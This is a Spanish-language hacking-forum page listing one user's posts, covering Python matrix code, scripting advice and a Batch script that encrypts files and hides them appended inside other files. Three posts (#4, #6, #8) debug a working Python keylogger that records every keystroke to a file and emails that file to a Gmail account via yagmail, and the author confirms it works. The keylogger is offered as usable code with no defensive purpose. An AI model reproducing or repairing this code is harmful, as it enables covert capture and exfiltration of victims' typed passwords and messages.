Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Segadorfelix

#1
Había un error en el código inicial. En lugar de:

matriz[j]=contador

era:

matriz[i][j]=contador

Código (python) [Seleccionar]

fila = 3
columna = 3

matriz =[]
for i in range(fila):
   matriz.append([0]*columna)
print (matriz)

##les da valor a la matriz 1a9
contador=1
for i in range(fila):
   for j in range(columna):
       matriz[i][j]=contador
       contador+=1
print(matriz)

## ordena la matriz

for k in matriz:
   print (k)

##Diagonal principal
a=[]
for i in range(fila):
   a.append(matriz[i][i])
print(a)

##Diagonal secundaria
a=[]
for i in range(fila):
   a.append(matriz[i][(columna-1)-i])
print(a)


La propiedad que es buena para este tipo de problemas, es tomar en cuenta la estructura de la matriz.

Los elementos de la diagonal principal, siempre serán del tipo fila 1 columna 1, fila 2, columna 2. El 'indice' del elemento de la diagonal, coincide tanto en columnas como en filas.

Los elementos de la diagonal secundaria, son similares a los de la diagonal principal, en que su 'indice' de fila es idéntico, y la diferencia radica, en que parte del ultimo elemento de la fila, y luego va bajando.

Diagonal secundaria, de matriz n*n:

  • fila 1, columna n
  • fila 2, columna n-1
  • fila 3, columna n-2
#2
Scripting / Re: Esteganografía EOF [BATCH]
7 Mayo 2019, 09:26 AM
Cita de: Eleкtro en  5 Mayo 2019, 19:26 PM
Eso no lo hace mejor en ningún aspecto. Lo del intérprete, le doy un pase, pero el compilador solo lo necesitas durante la etapa de desarrollo, y al finalizar tan solo tienes que distribuir la aplicación (o librería) compilada y ahí ya no dependes de nada (excepto de los runtimes de software que haya instalados en el sistema operativo, como ocurre con toda aplicación).

En Batch, para llevar a cabo casi cualquier cosa que sea realmente de utilidad, dependerás del uso de aplicaciones externas como en este caso certuril.exe, así que aunque no dependas de un intérprete externo ni compilador, si que dependes de la existencia de archivos/programas externos. Programas los cuales, como muchos otros, están sujetos a posibles cambios (en la entrada de sintaxis por linea de comandos) entre las distintas versiones de Windows, o en el peor de los casos a la obsolescencia y eliminación. Así que mucho mejor no es, si lo comparas bien.

Quizás deberías hacer caso a lo que muchos te han dicho ya. Batch es una completa pérdida de tiempo habiendo las alternativas que hay. Además ya conoces sus mayores desventajas (elaboración tediosa/complicada de código, sintáctica simplista en el mal sentido, y herramienta incompleta/carente de funcionalidades built-in, ni siquiera soporta el uso de arrays, joder, aparte de la nefasta velocidad de procesamiento de datos que tiene por naturaleza), así que no se que más motivos puede necesitar un programador para darse cuenta de que está todo en contra de tenerle preferencia a Batch como "lenguaje de programación" principal. Pero bueno, es tu decisión por los motivos que tengas y yo no insisto ni me meto en eso, pero quería dar mi opinión también.

Al menos podrías decantarte por el lenguaje Powershell, ya que tampoco hay dependencias (que no vengan ya instaladas por defecto en el S.O) y es infinitamente mejor, más completo y productivo de lo que jamás será Batch. Una grandísima ventaja de Powershell es que puedes utilizar al completo la librería de clases de .NET Framework. De hecho, incluso puedes escribir códio en C# o VB.NET en un script de PowerShell para compilar en tiempo de ejecución una librería dinámica (.dll) y llamar a los métodos compilados. Pero vamos, lo relevante sería que puedes utilizar los miembros de los espacios de nombres de la librería de clases de .NET Framework para leer los bytes de un archivo, "cortarlo" en trozos, cifrar lo que quieras a Base-64, y administrar/crear/eliminar certificados. Tampoco es que necesites recurrir a .NET Framework, casi todo lo puedes hacer con puro PowerShell. No necesitarías depender en absoluto de certutil.exe.

Un saludo.

Sí, lo de los arrays es una patada a los huevos. Después de hacer un script en Batch quede un poco inconforme, porque si deseo aplicar un método criptograma más complejo, tardaría más aun en procesar los datos y prácticamente sería inútil.

Igual fue divertido de algún modo, pero se que es un scritp que posiblemente quede obsoleto pronto.

Así que estuve leyendo un poco de Bash y Powershell. Con Get-Content y Set-Content, se puede hacer casi todo el trabajo (cortar un archivo y encriptarlo), al menos en las versiones previas a Powershell 6, desde la versión 6 se debe tener en cuenta a .Net Core.

Con .NET en Powershell se pueden hacer muchas más cosas, pero me hace falta leer :P de .NET no conozco mucho.

Fue un comentario muy constructivo, gracias.
#3
Scripting / Re: Truquitos con cmd
7 Mayo 2019, 09:10 AM
Revisa el encabezado del foro, que tiene buenos tutoriales para la mayoría de problemas. Casi todo es de Batch, aunque irónicamente cualquier otro lenguaje scripting es más potente y dinámico.

Esta es pagina es buena para consultar comandos y ejemplos:
https://ss64.com/

Además de Batch, tiene VB Script, Bash y Powershell.

Y esto, que es una descripción más detallada de los comandos:
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/append

Si es por aprender scripting, es mejor empezar con python (o ruby), si es por automatizar tareas, en el foro creo que hay suficiente info para hacerlo.

Suerte!
#4
Prueba este código, creo que el error estaba en usar a yagmail antes de:

Código (python) [Seleccionar]

if __name__ == "__main__":
    main()


Código:

Código (python) [Seleccionar]

from functools import partial
import atexit
import os
import keyboard
import time, datetime
import smtplib
import yagmail
import sys

MAP = {
    "space": " ",
    "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
    if event.event_type in ("up", "down"):
        key = MAP.get(event.name, event.name)
        modifier = len(key) > 1
        # Capturar únicamente los modificadores cuando están siendo
        # presionados.
        if not modifier and event.event_type == "down":
            return
        # Evitar escribir múltiples veces la misma tecla si está
        # siendo presionada.
        if modifier:
            if event.event_type == "down":
                if is_down.get(key, False):
                    return
                else:
                    is_down[key] = True
            elif event.event_type == "up":
                is_down[key] = False
            # Indicar si está siendo presionado.
            key = " [{} ({})] ".format(key, event.event_type)
        elif key == "\r":
            # Salto de línea.
            key = "\n"
        # Escribir la tecla al archivo de salida.
        output.write(key)
        # Forzar escritura.
        output.flush()
def onexit(output):
    output.close()
def main():
    # Borrar el archivo previo.
    if CLEAR_ON_STARTUP:
        os.remove(FILE_NAME)

    # Indica si una tecla está siendo presionada.
    is_down = {}

    # Archivo de salida.
    output = open(FILE_NAME, "a")

    # Cerrar el archivo al terminar el programa.
    atexit.register(onexit, output)

    # Instalar el registrador de teclas.
    keyboard.hook(partial(callback, output, is_down))
    keyboard.wait(TERMINATE_KEY)

if __name__ == "__main__":
    main()

yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "JoJoJo", contents = [img])


A mi me funciona correctamente, instale con un instalador el modulo keyboard, y yagmail por pip.

Si sigue fallando puede que el cortafuegos este 'atrofiando' a yagmail, como dice yumigumi.

Si falla, primero revisa, el archivo keys.txt del escritorio, si se esta escribiendo correctamente. Después si sale un error, puedes subir una captura a https://es.imgbb.com/ y despues al foro, para ver de que se trata.

Y si no sale un error, el keys.txt se escribe correctamente y las ubicaciones del archivo y el correo están bien, entonces no queda otra que revisar el cortafuegos.

Mucha suerte!
#5
Hola a todos! A partir de este post:
https://foro.elhacker.net/scripting/esteganografia_eof_batch-t494405.0.html

Gracias a la ayuda de yuimugi912 con el comando certutil, pude hacer lo siguiente:

Un script en Batch, que cifra y oculta archivos por lineas de comando. Son más de 500 lineas de código.

Método, lo que hace:


  • Procesa el código hexadecimal del archivo a ocultar. Y por medio del cifrado Vigenère, lo cifra.
  • Luego, lo divide y anexa al final del código de otros archivos, ocultándolo.
  • No afecta ninguno de los archivos originales, sino que produce unos nuevos, en concreto: Los archivos con el código oculto y un archivo.log cifrado (necesario para reconstruir el archivo original)
  • El proceso de descifrado se realiza con el nombre del .log y la contraseña.

Beneficios respecto a otros ofuscadores de archivos (en Batch obivamente):


  • Es independiente, no requiere de programas adicionales del sistema.
  • No almacena la contraseña utilizada, así que para un uso casero, el cifrado es efectivo.
  • Contrario a otros métodos esteganograficos de Batch, permite añadir los datos de un archivo en varios.
  • También permite ocultar archivos de texto, al encriptarse y añadirse, son ilegibles.

A tomar en cuenta:


  • Recomiendo que los archivos sean pequeños, menores a 10 MB. Tanto el que se oculta como los que se usan para ocultar el archivo.
  • El limite de procesamiento es de 30 MB.
  • Como es Batch, no es potente, así que por eso incluyo estas limitaciones, si se introdujera un archivo cercano a los 30 MB, el script tardaría día y medio o dos días en completar el trabajo, porque el código en hex, se triplica de peso.
  • No permite archivos con espacios en el nombre, solo no quise hacer el filtro al respecto, me parecía excesivo.
  • Todos los archivos, el archivo a ocultar y los archivos donde ocultar deben estar en la misma carpeta del script.

Código completo: https://pastebin.com/zCTEmQPX

La ayuda incluida en el script:

Código (dos) [Seleccionar]

echo.
echo STEGANOF: Script esteganografico. Ejecutese dentro de la carpeta con los archivos.
echo Sintaxis:
echo.
echo '-e' Permite cifrar y ocultar el archivo en otros archivos, con una contraseña.
echo Genera un archivo .log con el cual se puede recuperar el archivo oculto.
echo.
echo    STEG -e ARCHIVO_A_OCULTAR.ext CONTRASEÑA ARCHIVO2.ext ARCHIVO3.ext ARCHIVO4.ext
echo.
echo '-d' Permite extraer y descifrar el archivo.
echo.
echo    STEG -d ARCHIVO.log CONTRASEÑA NOMBRE_DE_ARCHIVO_OCULTO.ext
echo.
echo '-t' Testea los archivos, para ver si el script puede funcionar en ellos.
echo En caso de hallar algun archivo no compatible lo notifica. Si todos los
echo archivos son compatibles el mensaje es nulo.
echo.
echo    STEG -t ARCHIVO_A_OCULTAR.ext ARCHIVO2.ext ARCHIVO3.ext ARCHIVO4.ext
echo.
echo El limite del Script esta cerca de los 30 MB.
echo La velocidad varía alrededor de los 1 KB por cada 1,5 segundos. Por ello:
echo Se advierte y recomienda el uso en archivos menores a 10 MB.
echo.


Espero sea de utilidad!
#6
Prueba este código, le hice modificaciones mínimas, pero puede que sirva.
*La importación de módulos ocurre toda de una vez y al inicio.
*El valor del archivo al cual se le debe escribir, esta especificado junto a la ruta.

Código (python) [Seleccionar]
from functools import partial
import time, datetime
import smtplib
import yagmail
import sys
import atexit
import os
import keyboard

MAP = {
   "space": " ",
   "\r": "\n"
}
# Ubicación y nombre del archivo que guarda las teclas presionadas.
FILE_NAME = "C:/Users/Andrés/Desktop/keys.txt"
# Determina si el archivo de salida es limpiado cada vez que se
# inicia el programa.
CLEAR_ON_STARTUP = False
# Tecla para terminar el programa o None para no utilizar ninguna tecla.
TERMINATE_KEY = "esc"
def callback(output, is_down, event):
   if event.event_type in ("up", "down"):
       key = MAP.get(event.name, event.name)
       modifier = len(key) > 1
       # Capturar únicamente los modificadores cuando están siendo
       # presionados.
       if not modifier and event.event_type == "down":
           return
       # Evitar escribir múltiples veces la misma tecla si está
       # siendo presionada.
       if modifier:
           if event.event_type == "down":
               if is_down.get(key, False):
                   return
               else:
                   is_down[key] = True
           elif event.event_type == "up":
               is_down[key] = False
           # Indicar si está siendo presionado.
           key = " [{} ({})] ".format(key, event.event_type)
       elif key == "\r":
           # Salto de línea.
           key = "\n"
       # Escribir la tecla al archivo de salida.
       output.write(key)
       # Forzar escritura.
       output.flush()
def onexit(output):
   output.close()
def main():
   # Borrar el archivo previo.
   if CLEAR_ON_STARTUP:
       os.remove(FILE_NAME)

   # Indica si una tecla está siendo presionada.
   is_down = {}

   # Archivo de salida.
   output = open(FILE_NAME, "a")

   # Cerrar el archivo al terminar el programa.
   atexit.register(onexit, output)

   # Instalar el registrador de teclas.
   keyboard.hook(partial(callback, output, is_down))
   keyboard.wait(TERMINATE_KEY)
 

yag = yagmail.SMTP('correo@gmail.com', 'contraseña')
yag
img = "C:/Users/Andrés/Desktop/keys.txt"
yag.send('correo@gmail.com', "Birthday", contents = [img])


Si sigue sin funcionar, luego de probarlo, cambia a Ruby que es más divertido  ;D es broma, si no funciona, voy a darle una ojeada más sería, para ver que pasa.
#7
Gracias dijsktra  :)
#8
En el ultimo script, creo que falta importar estos módulos. Prueba si funciona.

Código (python) [Seleccionar]

import time, datetime
import smtplib
import sys


En el primer script sobra:

Código (python) [Seleccionar]
import yagmail

En el segundo script sobra:

Código (python) [Seleccionar]
import atexit
import os
import keyboard

if __name__ == "__main__":
    main()


Si el ultimo script sigue sin funcionar, postea que error da, o que ocurre (Por ejemplo: No envía el correo, no crea el archivo que guarda los datos). Revisar la zona de spam en el correo.

Mucha suerte!

#9
Scripting / Re: Esteganografía EOF [BATCH]
22 Abril 2019, 08:12 AM
Cita de: NEBIRE en 21 Abril 2019, 10:43 AM
Es una forma absurda de perder el tiempo.

Un reto tiene sentido, solo si con ello consigues algo que tenga utilidad práctica, aunque solo sea aprender. Ahí no hay aprendizaje solo ejercicio rutinario...

Pero, hacer retos donde el reto por si mismo es complicar las cosas solo porque sí (como decir: "ir desde el punto A al punto B pisando solo las baldosas 'pares' , vamos 1 de cada dos"), no ofrece absolutamente nada, yo ni lo llamaría reto, si no castigo, si además es autoimpuesto, entonces lo llamaría autofustigación, autoflagelación.

Tampoco tengo claro tu intencionalidad, a juicio mío suena a: "ofuscar algún archivo que actuará como un virus en algún momento, pero/para que pase desapercibido..."

Responder eso es una forma absurda de perder el tiempo. Y podemos seguir así todo lo que se pueda.

No nebire , el aprendizaje esta. Un comando que no conocía y puede ser de mucha utilidad, a mí o a cualquiera

Es la zona de Scripting, así que la duda esta en su lugar. Batch no requiere instalar un interprete o un compilador para usarlo. Así que puede sacarsele provecho en estas situaciones, si no se tiene una fijación o necesidad por la velocidad de procesamiento.

Lo que estaba haciendo antes de saber este comando podría clasificarse de masoquista, pero hay muchas actividades masoquistas, estudiar, trabajar, vivir. Igual que actividades de 'ocio'. Pero no viene al caso, igual que tu comentario nebire .

Mi objetivo esta especificado en la descripción del tema. Casi cualquier cosa en programación ,o pseudo-programación para este caso, puede utilizarse en la creación de un virus.

Así que a excepción de lo que he dicho en este post, francamente mi 'intencionalidad' no le incumbe, menos con esa tonalidad que a mi criterio es toxica (¿Que necesidad de responder echando basura a un tema resuelto? Ninguna).
#10
No hay de que @alzola22 !

Saludos!